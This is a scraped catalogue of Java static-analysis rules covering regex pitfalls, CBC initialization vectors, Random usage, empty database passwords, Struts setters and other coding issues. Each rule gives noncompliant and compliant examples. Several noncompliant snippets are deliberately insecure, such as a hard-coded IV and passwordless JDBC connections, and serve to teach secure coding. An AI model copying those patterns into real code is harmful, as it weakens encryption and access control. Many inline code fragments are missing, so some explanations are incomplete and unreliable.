When placing Unicode Grapheme Clusters (characters which require to be encoded in multiple Code Points) inside a character class of a regular expression, this will likely lead to unintended behavior. For instance, the grapheme cluster This rule raises an issue every time Unicode Grapheme Clusters are used within a character class of a regular expression. Noncompliant Code Example"cc̈d̈d".replaceAll("[c̈d̈]", "X"); // Noncompliant, print "XXXXXX" instead of expected "cXXd". Compliant Solution"cc̈d̈d".replaceAll("c̈|d̈", "X"); // print "cXXd" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3329 |
In encryption, when Cipher Block Chaining (CBC) is used, the Initialization Vector (IV) must be random and unpredictable. Otherwise, the encrypted value is vulnerable to crypto-analysis attacks such as the "Chosen-Plaintext Attack". An IV value should be associated to one, and only one encryption cycle, because the IV's purpose is to ensure that the same plaintext encrypted twice will yield two different ciphertexts. To that end, IV's should be:
This rule raises an issue when the IV is:
Noncompliant Code Examplepublic class MyCbcClass { public String applyCBC(String strKey, String plainText) { byte[] bytesIV = "7cVgr5cbdCZVw5WY".getBytes("UTF-8"); /* KEY + IV setting */ IvParameterSpec iv = new IvParameterSpec(bytesIV); SecretKeySpec skeySpec = new SecretKeySpec(strKey.getBytes("UTF-8"), "AES"); /* Ciphering */ Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv); // Noncompliant because IV hard coded and cannot vary with each ciphering round byte[] encryptedBytes = cipher.doFinal(plainText.getBytes("UTF-8")); return DatatypeConverter.printBase64Binary(bytesIV) // IV is typically published + ";" + DatatypeConverter.printBase64Binary(encryptedBytes); } } Compliant Solutionpublic class MyCbcClass { SecureRandom random = new SecureRandom(); public String applyCBC(String strKey, String plainText) { byte[] bytesIV = new byte[16]; random.nextBytes(bytesIV); /* KEY + IV setting */ IvParameterSpec iv = new IvParameterSpec(bytesIV); SecretKeySpec skeySpec = new SecretKeySpec(strKey.getBytes("UTF-8"), "AES"); /* Ciphering */ Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv); byte[] encryptedBytes = cipher.doFinal(plainText.getBytes("UTF-8")); return DatatypeConverter.printBase64Binary(bytesIV) + ";" + DatatypeConverter.printBase64Binary(encryptedBytes); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5869 |
Character classes in regular expressions are a convenient way to match one of several possible characters by listing the allowed characters or ranges of characters. If the same character is listed twice in the same character class or if the character class contains overlapping ranges, this has no effect. Thus duplicate characters in a character class are either a simple oversight or a sign that a range in the character class matches more than is
intended or that the author misunderstood how character classes work and wanted to match more than one character. A common example of the latter
mistake is trying to use a range like Noncompliant Code Examplestr.matches("[0-99]") // Noncompliant, this won't actually match strings with two digits str.matches("[0-9.-_]") // Noncompliant, .-_ is a range that already contains 0-9 (as well as various other characters such as capital letters) Compliant Solutionstr.matches("[0-9]{1,2}") str.matches("[0-9.\\-_]") |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2119 |
Creating a new The This rule finds cases where a new Noncompliant Code Examplepublic void doSomethingCommon() { Random rand = new Random(); // Noncompliant; new instance created with each invocation int rValue = rand.nextInt(); //... Compliant Solutionprivate Random rand = SecureRandom.getInstanceStrong(); // SecureRandom is preferred to Random public void doSomethingCommon() { int rValue = this.rand.nextInt(); //... ExceptionsA class which uses a See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S881 |
The use of increment and decrement operators in method calls or in combination with other arithmetic operators is not recommended, because:
Noncompliant Code Exampleu8a = ++u8b + u8c--; foo = bar++ / 4; Compliant SolutionThe following sequence is clearer and therefore safer: ++u8b; u8a = u8b + u8c; u8c--; foo = bar / 4; bar++; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2110 |
Whether the valid value ranges for This rule checks for bad values used in conjunction with
Note that this rule does not check for invalid leap years, leap seconds (second = 61), or invalid uses of the 31st day of the month. Noncompliant Code ExampleDate d = new Date(); d.setDate(25); d.setYear(2014); d.setMonth(12); // Noncompliant; rolls d into the next year Calendar c = new GregorianCalendar(2014, 12, 25); // Noncompliant if (c.get(Calendar.MONTH) == 12) { // Noncompliant; invalid comparison // ... } Compliant SolutionDate d = new Date(); d.setDate(25); d.setYear(2014); d.setMonth(11); Calendar c = new Gregorian Calendar(2014, 11, 25); if (c.get(Calendar.MONTH) == 11) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1141 |
Nesting |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4531 |
Using setters in Struts 2 ActionSupport is security-sensitive. For example, their use has led in the past to the following vulnerabilities: All classes extending Ask Yourself Whether
(*) You are at risk if you answered yes to this question. Recommended Secure Coding PracticesAs said in Struts documentation: "Do not define setters when not needed" Sanitize the user input. This can be for example done by implementing the Noncompliant Code Examplepublic class AccountBalanceAction extends ActionSupport { private static final long serialVersionUID = 1L; private Integer accountId; // this setter might be called with user input public void setAccountId(Integer accountId) { this.accountId = accountId; } @Override public String execute() throws Exception { // call a service to get the account's details and its balance [...] return SUCCESS; } } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1142 |
Having too many return statements in a method increases the method's essential complexity because the flow of execution is broken each time a return statement is encountered. This makes it harder to read and understand the logic of the method. Noncompliant Code ExampleWith the default threshold of 3: public boolean myMethod() { // Noncompliant; there are 4 return statements if (condition1) { return true; } else { if (condition2) { return false; } else { return true; } } return false; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2230 |
Marking a non-public method Therefore marking a Noncompliant Code Example@Transactional // Noncompliant private void doTheThing(ArgClass arg) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5863 |
Assertions comparing an object to itself are more likely to be bugs due to developer's carelessness. This rule raises an issue when the actual expression matches the expected expression. Noncompliant Code ExampleassertThat(actual).isEqualTo(actual); // Noncompliant Compliant SolutionassertThat(actual).isEqualTo(expected); ExceptionsIn a unit test validating the class MyClassTest { @Test void test_equals_and_hash_code() { MyClass obj = new MyClass(); assertThat(obj).isEqualTo(obj); // Compliant assertThat(obj).hasSameHashCodeAs(obj); // Compliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1264 |
When only the condition expression is defined in a Noncompliant Code Examplefor (;condition;) { /*...*/ } Compliant Solutionwhile (condition) { /*...*/ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1143 |
Using This rule raises an issue when a jump statement ( Noncompliant Code Examplepublic static void main(String[] args) { try { doSomethingWhichThrowsException(); System.out.println("OK"); // incorrect "OK" message is printed } catch (RuntimeException e) { System.out.println("ERROR"); // this message is not shown } } public static void doSomethingWhichThrowsException() { try { throw new RuntimeException(); } finally { for (int i = 0; i < 10; i ++) { //... if (q == i) { break; // ignored } } /* ... */ return; // Noncompliant - prevents the RuntimeException from being propagated } } Compliant Solutionpublic static void main(String[] args) { try { doSomethingWhichThrowsException(); System.out.println("OK"); } catch (RuntimeException e) { System.out.println("ERROR"); // "ERROR" is printed as expected } } public static void doSomethingWhichThrowsException() { try { throw new RuntimeException(); } finally { for (int i = 0; i < 10; i ++) { //... if (q == i) { break; // ignored } } /* ... */ } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5860 |
Why use named groups only to never use any of them later on in the code? This rule raises issues every time named groups are: * defined but never called anywhere in the code through their name; * defined but called elsewhere in the code by their number instead. Noncompliant Code ExampleString date = "01/02"; Pattern datePattern = Pattern.compile("(?<month>[0-9]{2})/(?<year>[0-9]{2})"); Matcher dateMatcher = datePattern.matcher(date); if (dateMatcher.matches()) { checkValidity(dateMatcher.group(1), dateMatcher.group(2)); // Noncompliant - numbers instead of names of groups are used checkValidity(dateMatcher.group("day")); // Noncompliant - there is no group called "day" } // ... String score = "14:1"; Pattern scorePattern = Pattern.compile("(?<player1>[0-9]+):(?<player2>[0-9]+)"); // Noncompliant - named groups are never used Matcher scoreMatcher = scorePattern.matcher(score); if (scoreMatcher.matches()) { checkScore(score); } Compliant SolutionString date = "01/02"; Pattern datePattern = Pattern.compile("(?<month>[0-9]{2})/(?<year>[0-9]{2})"); Matcher dateMatcher = datePattern.matcher(date); if (dateMatcher.matches()) { checkValidity(dateMatcher.group("month"), dateMatcher.group("year")); } // ... String score = "14:1"; Pattern scorePattern = Pattern.compile("(?<player1>[0-9]+):(?<player2>[0-9]+)"); Matcher scoreMatcher = scorePattern.matcher(score); if (scoreMatcher.matches()) { checkScore(scoreMatcher.group("player1")); checkScore(scoreMatcher.group("player2")); } Or, using dedicated variables instead of group names: String score = "14:1"; String player = "([0-9]+)"; String gameScore = player + ":" + player; Pattern scorePattern = Pattern.compile(gameScore); Matcher scoreMatcher = scorePattern.matcher(score); if (scoreMatcher.matches()) { checkScore(score); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2112 |
The In general it is better to use the This rule checks for uses of Noncompliant Code Examplepublic void checkUrl(URL url) { Set<URL> sites = new HashSet<URL>(); // Noncompliant URL homepage = new URL("http://sonarsource.com"); // Compliant if (homepage.equals(url)) { // Noncompliant // ... } } Compliant Solutionpublic void checkUrl(URL url) { Set<URI> sites = new HashSet<URI>(); // Compliant URI homepage = new URI("http://sonarsource.com"); // Compliant URI uri = url.toURI(); if (homepage.equals(uri)) { // Compliant // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2111 |
Because of floating point imprecision, you're unlikely to get the value you expect from the From the JavaDocs: The results of this constructor can be somewhat unpredictable. One might assume that writing new BigDecimal(0.1) in Java creates a BigDecimal which is exactly equal to 0.1 (an unscaled value of 1, with a scale of 1), but it is actually equal to 0.1000000000000000055511151231257827021181583404541015625. This is because 0.1 cannot be represented exactly as a double (or, for that matter, as a binary fraction of any finite length). Thus, the value that is being passed in to the constructor is not exactly equal to 0.1, appearances notwithstanding. Instead, you should use Noncompliant Code Exampledouble d = 1.1; BigDecimal bd1 = new BigDecimal(d); // Noncompliant; see comment above BigDecimal bd2 = new BigDecimal(1.1); // Noncompliant; same result Compliant Solutiondouble d = 1.1; BigDecimal bd1 = BigDecimal.valueOf(d); BigDecimal bd2 = new BigDecimal("1.1"); // using String constructor will result in precise value See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2232 |
There are several reasons to avoid Noncompliant Code Examplestmt.executeQuery("SELECT name, address FROM PERSON"); ResultSet rs = stmt.getResultSet(); while (! rs.isLast()) { // Noncompliant // process row } Compliant SolutionResultSet rs = stmt.executeQuery("SELECT name, address FROM PERSON"); while (rs.next()) { // process row } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4530 |
Using Struts 1 ActionForm is security-sensitive. For example, their use has led in the past to the following vulnerability: All classes extending Ask Yourself Whether
You are at risk if you answered to any of these questions. Recommended Secure Coding PracticesAll ActionForm's properties should be validated, including their size. Whenever possible, filter the parameters with a whitelist of valid values. Otherwise, escape any sensitive character and constrain the values as much as possible. Allow only non security-sensitive property names. All the ActionForm's property names should be whitelisted. Unused fields should be constrained so that they are either empty or undefined. Noncompliant Code Example// Struts 1.1+ public final class CashTransferAction extends Action { public String fromAccount = ""; public String toAccount = ""; public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest req, HttpServletResponse res) throws Exception { // usage of the "form" object to call some services doing JDBC actions [...] return mapping.findForward(resultat); } } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1144 |
Note that this rule does not take reflection into account, which means that issues will be raised on Noncompliant Code Examplepublic class Foo implements Serializable { private Foo(){} //Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class. public static void doSomething(){ Foo foo = new Foo(); ... } private void unusedPrivateMethod(){...} private void writeObject(ObjectOutputStream s){...} //Compliant, relates to the java serialization mechanism private void readObject(ObjectInputStream in){...} //Compliant, relates to the java serialization mechanism } Compliant Solutionpublic class Foo implements Serializable { private Foo(){} //Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class. public static void doSomething(){ Foo foo = new Foo(); ... } private void writeObject(ObjectOutputStream s){...} //Compliant, relates to the java serialization mechanism private void readObject(ObjectInputStream in){...} //Compliant, relates to the java serialization mechanism } ExceptionsThis rule doesn't raise any issue on annotated methods. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2235 |
According to Oracle Javadoc:
In other words, this exception can be thrown only in case of bad design because Noncompliant Code Examplepublic void doSomething(){ ... try { ... anObject.notify(); ... } catch(IllegalMonitorStateException e) { ... } } Compliant Solutionpublic void doSomething(){ ... synchronized(anObject) { ... anObject.notify(); ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2114 |
Passing a collection as an argument to the collection's own method is either an error - some other argument was intended - or simply nonsensical code. Further, because some methods require that the argument remain unmodified during the execution, passing a collection to itself can result in undefined behavior. Noncompliant Code ExampleList <Object> objs = new ArrayList<Object>(); objs.add("Hello"); objs.add(objs); // Noncompliant; StackOverflowException if objs.hashCode() called objs.addAll(objs); // Noncompliant; behavior undefined objs.containsAll(objs); // Noncompliant; always true objs.removeAll(objs); // Noncompliant; confusing. Use clear() instead objs.retainAll(objs); // Noncompliant; NOOP |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1145 |
There are three possible causes for the presence of such code:
In any of these cases, unconditional Noncompliant Code Exampleif (true) { doSomething(); } ... if (false) { doSomethingElse(); } if (2 < 3 ) { ... } // Noncompliant; always false int i = 0; int j = 0; // ... j = foo(); if (j > 0 && i > 0) { ... } // Noncompliant; always false - i never set after initialization boolean b = true; //... if (b || !b) { ... } // Noncompliant Compliant SolutiondoSomething(); ... See
DeprecatedThis rule is deprecated; use S2583 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5866 |
By default case insensitivity only affects letters in the ASCII range. This can be changed by either passing If not done, regular expressions involving non-ASCII letters will still handle those letters as being case sensitive. Noncompliant Code ExamplePattern.compile("söme pättern", Pattern.CASE_INSENSITIVE); str.matches("(?i)söme pättern"); str.matches("(?i:söme) pättern"); Compliant SolutionPattern.compile("söme pättern", Pattern.CASE_INSENSITIVE | Pattern.UNICODE_CASE); str.matches("(?iu)söme pättern"); str.matches("(?iu:söme) pättern"); // UNICODE_CHARACTER_CLASS implies UNICODE_CASE Pattern.compile("söme pättern", Pattern.CASE_INSENSITIVE | Pattern.UNICODE_CHARACTER_CLASS); str.matches("(?iU)söme pättern"); str.matches("(?iU:söme) pättern"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2234 |
When the names of parameters in a method call match the names of the method arguments, it contributes to clearer, more readable code. However, when the names match, but are passed in a different order than the method arguments, it indicates a mistake in the parameter order which will likely lead to unexpected results. Noncompliant Code Examplepublic double divide(int divisor, int dividend) { return divisor/dividend; } public void doTheThing() { int divisor = 15; int dividend = 5; double result = divide(dividend, divisor); // Noncompliant; operation succeeds, but result is unexpected //... } Compliant Solutionpublic double divide(int divisor, int dividend) { return divisor/dividend; } public void doTheThing() { int divisor = 15; int dividend = 5; double result = divide(divisor, dividend); //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5867 |
When using POSIX classes like To correctly handle non-ASCII input, it is recommended to use Unicode classes like Noncompliant Code ExamplePattern.compile("[a-zA-Z]"); Pattern.compile("\\p{Alpha}"); Compliant SolutionPattern.compile("\\p{IsAlphabetic}"); // matches all letters from all languages Pattern.compile("\\p{IsLatin}"); // matches latin letters, including umlauts and other non-ASCII variations Pattern.compile("\\p{Alpha}", Pattern.UNICODE_CHARACTER_CLASS); Pattern.compile("(?U)\\p{Alpha}"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2116 |
While Noncompliant Code Examplepublic static void main( String[] args ) { String argStr = args.toString(); // Noncompliant int argHash = args.hashCode(); // Noncompliant Compliant Solutionpublic static void main( String[] args ) { String argStr = Arrays.toString(args); int argHash = Arrays.hashCode(args); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2479 |
Non-encoded control characters and whitespace characters are often injected in the source code because of a bad manipulation. They are either
invisible or difficult to recognize, which can result in bugs when the string is not what the developer expects. If you actually need to use a control
character use their encoded version (ex: ASCII This rule raises an issue when the following characters are seen in a literal string:
No issue will be raised on the simple space character. Unicode Noncompliant Code ExampleString tabInside = "A B"; // Noncompliant, contains a tabulation String zeroWidthSpaceInside = "foobar"; // Noncompliant, it contains a U+200B character inside char tab = ' '; Compliant SolutionString tabInside = "A\tB"; // Compliant, uses escaped value String zeroWidthSpaceInside = "foo\u200Bbar"; // Compliant, uses escaped value char tab = '\t'; ExceptionsText Blocks string literals (java 13 three double-quote marks) can contain tabulations to allow indentation using tabulations. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1147 |
Calling Each of these methods should be used with extreme care, and only when the intent is to stop the whole Java process. For instance, none of them should be called from applications running in a J2EE container. Noncompliant Code ExampleSystem.exit(0); Runtime.getRuntime().exit(0); Runtime.getRuntime().halt(0); ExceptionsThese methods are ignored inside See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3688 |
This rule allows banning certain classes. Noncompliant Code ExampleGiven parameters:
String name; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2115 |
Databases should always be password protected. The use of a database connection with an empty password is a clear indication of a database that is not protected. This rule flags database connections with empty passwords. Noncompliant Code ExampleConnection conn = DriverManager.getConnection("jdbc:derby:memory:myDB;create=true", "AppLogin", ""); Connection conn2 = DriverManager.getConnection("jdbc:derby:memory:myDB;create=true?user=user&password="); Compliant SolutionDriverManager.getConnection("jdbc:derby:memory:myDB;create=true?user=user&password=password"); DriverManager.getConnection("jdbc:mysql://address=(host=myhost1)(port=1111)(key1=value1)(user=sandy)(password=secret),address=(host=myhost2)(port=2222)(key2=value2)(user=sandy)(password=secret)/db"); DriverManager.getConnection("jdbc:mysql://sandy:secret@[myhost1:1111,myhost2:2222]/db"); String url = "jdbc:postgresql://localhost/test"; Properties props = new Properties(); props.setProperty("user", "fred"); props.setProperty("password", "secret"); DriverManager.getConnection(url, props); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1148 |
Loggers should be used instead to print
This rule raises an issue when Noncompliant Code Exampletry { /* ... */ } catch(Exception e) { e.printStackTrace(); // Noncompliant } Compliant Solutiontry { /* ... */ } catch(Exception e) { LOGGER.log("context", e); } See
DeprecatedThis rule is deprecated; use S4507 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2236 |
The methods
Noncompliant Code ExampleThread myThread = new Thread(new RunnableJob()); ... myThread.wait(2000); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S864 |
The rules of operator precedence are complicated and can lead to errors. For this reason, parentheses should be used for clarification in complex statements. However, this does not mean that parentheses should be gratuitously added around every operation. This rule raises issues when
This rule also raises an issue when the "true" or "false" expression of a ternary operator is not trivial and not wrapped inside parentheses. Noncompliant Code Examplex = a + b - c; x = a + 1 << b; // Noncompliant y = a == b ? a * 2 : a + b; // Noncompliant if ( a > b || c < d || a == d) {...} if ( a > b && c < d || a == b) {...} // Noncompliant if (a = f(b,c) == 1) { ... } // Noncompliant; == evaluated first Compliant Solutionx = a + b - c; x = (a + 1) << b; y = a == b ? (a * 2) : (a + b); if ( a > b || c < d || a == d) {...} if ( (a > b && c < d) || a == b) {...} if ( (a = f(b,c)) == 1) { ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5738 |
Java 9 introduced a flag for the
While usually deprecated classes, interfaces, and their deprecated members should be avoided rather than used, inherited or extended, those already marked for removal are much more sensitive to causing trouble in your code soon. Consequently, any usage of such deprecated code should be avoided or removed. Noncompliant Code Example/** * @deprecated As of release 1.3, replaced by {@link #Fee}. Will be dropped with release 1.4. */ @Deprecated(forRemoval=true) public class Foo { ... } public class Bar { /** * @deprecated As of release 1.7, replaced by {@link #doTheThingBetter()} */ @Deprecated(forRemoval=true) public void doTheThing() { ... } public void doTheThingBetter() { ... } /** * @deprecated As of release 1.14 due to poor performances. */ @Deprecated(forRemoval=false) public void doTheOtherThing() { ... } } public class Qix extends Bar { @Override public void doTheThing() { ... } // Noncompliant; don't override a deprecated method marked for removal } public class Bar extends Foo { // Noncompliant; Foo is deprecated and will be removed public void myMethod() { Bar bar = new Bar(); // okay; the class isn't deprecated bar.doTheThing(); // Noncompliant; doTheThing method is deprecated and will be removed bar.doTheOtherThing(); // Okay; deprecated, but not marked for removal } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3438 |
Use of a Spring That's because the Noncompliant Code Example<bean id="singleCF" class="org.springframework.jms.connection.SingleConnectionFactory"> <!-- Noncompliant --> <constructor-arg ref="dummyConnectionFactory" /> </bean> Compliant Solution<bean id="singleCF" class="org.springframework.jms.connection.SingleConnectionFactory" p:reconnectOnException="true"> <constructor-arg ref="dummyConnectionFactory" /> </bean> or <bean id="singleCF" class="org.springframework.jms.connection.SingleConnectionFactory"> <constructor-arg ref="dummyConnectionFactory" /> <property name="reconnectOnException"><value>true</value></property> </bean> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3437 |
According to the documentation, A program may produce unpredictable results if it attempts to distinguish two references to equal values of a value-based class, whether directly via reference equality or indirectly via an appeal to synchronization, identity hashing, serialization... For example (credit to Brian Goetz), imagine Foo is a value-based class: Foo[] arr = new Foo[2]; arr[0] = new Foo(0); arr[1] = new Foo(0); Serialization promises that on deserialization of arr, elements 0 and 1 will not be aliased. Similarly, in: Foo[] arr = new Foo[2]; arr[0] = new Foo(0); arr[1] = arr[0]; Serialization promises that on deserialization of While these promises are coincidentally fulfilled in current implementations of Java, that is not guaranteed in the future, particularly when true value types are introduced in the language. This rule raises an issue when a Noncompliant Code Exampleclass MyClass implements Serializable { private HijrahDate date; // Noncompliant; mark this transient // ... } Compliant Solutionclass MyClass implements Serializable { private transient HijrahDate date; // ... } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2109 |
The writer of an annotation can set one of three retention policies for it:
Only annotations that have been given a This rule checks that reflection is not used to detect annotations that do not have Noncompliant Code ExampleMethod m = String.class.getMethod("getBytes", new Class[] {int.class, int.class, byte[].class, int.class}); if (m.isAnnotationPresent(Override.class)) { // Noncompliant; test will always return false, even when @Override is present in the code |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5857 |
Using reluctant quantifiers (also known as lazy or non-greedy quantifiers) in patterns can often lead to needless backtracking, making the regex
needlessly inefficient and potentially vulnerable to catastrophic backtracking.
Particularly when using Noncompliant Code Example<.+?> ".*?" Compliant Solution<[^>]++> "[^"]*+" or <[^>]+> "[^"]*" ExceptionsThis rule only applies in cases where the reluctant quantifier can easily be replaced with a negated character class. That means the repetition has to be terminated by a single character or character class. Patterns such as the following, where the alternatives without reluctant quantifiers are more complicated, are therefore not subject to this rule: <!--.*?--> /\*.*?\*/ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2229 |
When using Spring proxies, calling a method in the same class (e.g. Therefore, certain calls should never be made within the same class:
Noncompliant Code Example@Override public void doTheThing() { // ... actuallyDoTheThing(); // Noncompliant } @Override @Transactional public void actuallyDoTheThing() { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3439 |
To prevent message loss during restart operations, set Noncompliant Code Example<bean id="listenerContainer" class="org.springframework.jms.listener.DefaultMessageListenerContainer"> <!-- Noncompliant --> <property name="connectionFactory" ref="connFactory" /> <property name="destination" ref="dest" /> <property name="messageListener" ref="serviceAdapter" /> <property name="autoStartup" value="true" /> <property name="concurrentConsumers" value="10" /> <property name="maxConcurrentConsumers" value="10" /> <property name="clientId" value="myClientID" /> </bean> Compliant Solution<bean id="listenerContainer" class="org.springframework.jms.listener.DefaultMessageListenerContainer"> <property name="connectionFactory" ref="connFactory" /> <property name="destination" ref="dest" /> <property name="messageListener" ref="serviceAdapter" /> <property name="autoStartup" value="true" /> <property name="concurrentConsumers" value="10" /> <property name="maxConcurrentConsumers" value="10" /> <property name="clientId" value="myClientID" /> <property name="acceptMessagesWhileStopping" value="true" /> </bean> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2583 |
Conditional expressions which are always Noncompliant Code Examplea = false; if (a) { // Noncompliant doSomething(); // never executed } if (!a || b) { // Noncompliant; "!a" is always "true", "b" is never evaluated doSomething(); } else { doSomethingElse(); // never executed } ExceptionsThis rule will not raise an issue in either of these cases:
final boolean debug = false; //... if (debug) { // Print something }
if (true) { // do something } In these cases it is obvious the code is as intended. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1130 |
An exception in a
Noncompliant Code Examplevoid foo() throws MyException, MyException {} // Noncompliant; should be listed once void bar() throws Throwable, Exception {} // Noncompliant; Exception is a subclass of Throwable void baz() throws RuntimeException {} // Noncompliant; RuntimeException can always be thrown Compliant Solutionvoid foo() throws MyException {} void bar() throws Throwable {} void baz() {} ExceptionsThe rule will not raise any issue for exceptions that cannot be thrown from the method body:
class A extends B { @Override void doSomething() throws IOException { compute(a); } public void foo() throws IOException {} protected void bar() throws IOException { throw new UnsupportedOperationException("This method should be implemented in subclasses"); } Object foobar(String s) throws IOException { return null; } /** * @throws IOException Overriding classes may throw this exception if they print values into a file */ protected void print() throws IOException { // no issue, method is overridable and the exception has proper javadoc System.out.println("foo"); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3551 |
When Noncompliant Code Examplepublic class Parent { synchronized void foo() { //... } } public class Child extends Parent { @Override public foo () { // Noncompliant // ... super.foo(); } } Compliant Solutionpublic class Parent { synchronized void foo() { //... } } public class Child extends Parent { @Override synchronized foo () { // ... super.foo(); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5852 |
Most of the regular expression engines use This rule detects regular expression patterns known to have potential performance issues:
